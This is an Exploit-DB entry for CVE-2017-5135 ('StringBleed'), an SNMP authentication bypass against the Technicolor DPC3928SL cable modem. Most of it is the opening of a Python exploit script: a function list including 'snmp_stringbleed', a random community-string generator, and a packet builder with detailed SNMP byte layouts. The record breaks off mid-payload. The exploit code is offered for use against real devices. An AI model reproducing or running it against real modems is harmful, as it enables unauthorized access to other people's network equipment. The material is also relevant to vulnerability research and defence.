Exploit-DB #43384
Description: Technicolor DPC3928SL - SNMP Authentication Bypass
Type: remote
Platform: hardware
Date: 2017-05-05
Author: nixawk

Exploit:
#!/usr/bin/python
# -*- coding: utf-8 -*-

# StringBleed - CVE-2017-5135

__author__ = ["Nixawk"]

__funcs__ = [
    'generate_snmp_communitystr',
    'generate_snmp_proto_payload',
    'send_snmp_request',
    'read_snmp_communitystr',
    'read_snmp_varbindstr',
    'snmp_login',
    'snmp_stringbleed'
]


import struct
import uuid
import socket
import time
import logging
import contextlib


logging.basicConfig(level=logging.INFO)
log = logging.getLogger(__file__)


def generate_snmp_communitystr():
    return str(uuid.uuid4())


def generate_snmp_proto_payload(community):
    """Generate snmp request with [SNMPv1] and [OID: 1.3.6.1.2.1.1.1.0]
    For example, suppose one wanted to identify an instance of the
    variable sysDescr The object class for sysDescr is:
         iso org dod internet mgmt mib system sysDescr
          1   3   6     1      2    1    1       1
    """

    # SNMPv1 specifies five core protocol data units (PDUs).
    # All SNMP PDUs are constructed as follows:

    # ---------------------
    # | IP header         |
    # ---------------------
    # | UDP header        |
    # --------------------- -------|
    # | version           |        |
    # | community         |        |
    # | PDU-type          |        |
    # | request-id        |        |---- SNMP
    # | error-status      |        |
    # | error-index       |        |
    # | variable bindings |        |
    # --------------------- -------|
    #

    # The seven SNMP protocol data unit (PDU) types are as follows:
    # GetRequest
    # SetRequest
    # GetNextRequest
    # GetBulkRequest
    # Response
    # Trap
    # InformRequest

    # SNMPv1 Message Header
    # SNMPv1 Trap Message Hander

    # https://tools.ietf.org/html/rfc1592
    # +-----------------------------------------------------------------+
    # | Table 1 (Page 1 of 2). SNMP GET PDU for dpiPortForTCP.0         |
    # +---------------+----------------+--------------------------------+
    # | OFFSET        | VALUE          | FIELD                          |
    # +---------------+----------------+--------------------------------+
    # | 0             | 0x30           | ASN.1 header                   |
    # +---------------+----------------+--------------------------------+
    # | 1             | 37 + len       | PDU_length, see formula below  |
    # +---------------+----------------+--------------------------------+
    # | 2             | 0x02 0x01 0x00 | SNMP version:                  |
    # |               |                | (integer,length=1,value=0)     |
    # +---------------+----------------+--------------------------------+
    # | 5             | 0x04           | community name (string)        |
    # +---------------+----------------+--------------------------------+
    # | 6             | len            | length of community name       |
    # +---------------+----------------+--------------------------------+
    # | 7             | community name | varies                         |
    # +---------------+----------------+--------------------------------+
    # | 7 + len       | 0xa0 0x1c      | SNMP GET request:              |
    # |               |                | request_type=0xa0,length=0x1c  |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 2   | 0x02 0x01 0x01 | SNMP request ID:               |
    # |               |                | integer,length=1,ID=1          |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 5   | 0x02 0x01 0x00 | SNMP error status:             |
    # |               |                | integer,length=1,error=0       |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 8   | 0x02 0x01 0x00 | SNMP index:                    |
    # |               |                | integer,length=1,index=0       |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 11  | 0x30 0x11      | varBind list, length=0x11      |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 13  | 0x30 0x0f      | varBind, length=0x0f           |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 15  | 0x06 0x0b      | Object ID, length=0x0b         |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 17  | 0x2b 0x06 0x01 | Object-ID:                     |
    # |               | 0x04 0x01 0x02 | 1.3.6.1.4.1.2.2.1.1.1          |
    # |               | 0x02 0x01 0x01 | Object-instance: 0             |
    # |               | 0x01 0x00      |                                |
    # +---------------+----------------+--------------------------------+
    # | 7 + len + 28  | 0x05 0x00      | null value, length=0           |
    # +---------------+----------------+--------------------------------+
    # | NOTE:  Formula to calculate "PDU_length":                       |
    # |                                                                 |
    # |   PDU_length =  length of version field and string tag (4 bytes)|
    # |              +  length of community length field (1 byte)       |
    # |              +  length of community name (depends...)           |
    # |              +  length of SNMP GET request (32 bytes)           |
    # |                                                                 |
    # |              =  37 + length of community name                   |
    # +-----------------------------------------------------------------+

    snmp_GetNextRequest = [
        b"\x30",                             # ASN.1 Header
        b"\x29",                             # PDU length
        b"\x02\x01\x00",                     # SNMP Version
        b"\x04",                             # Community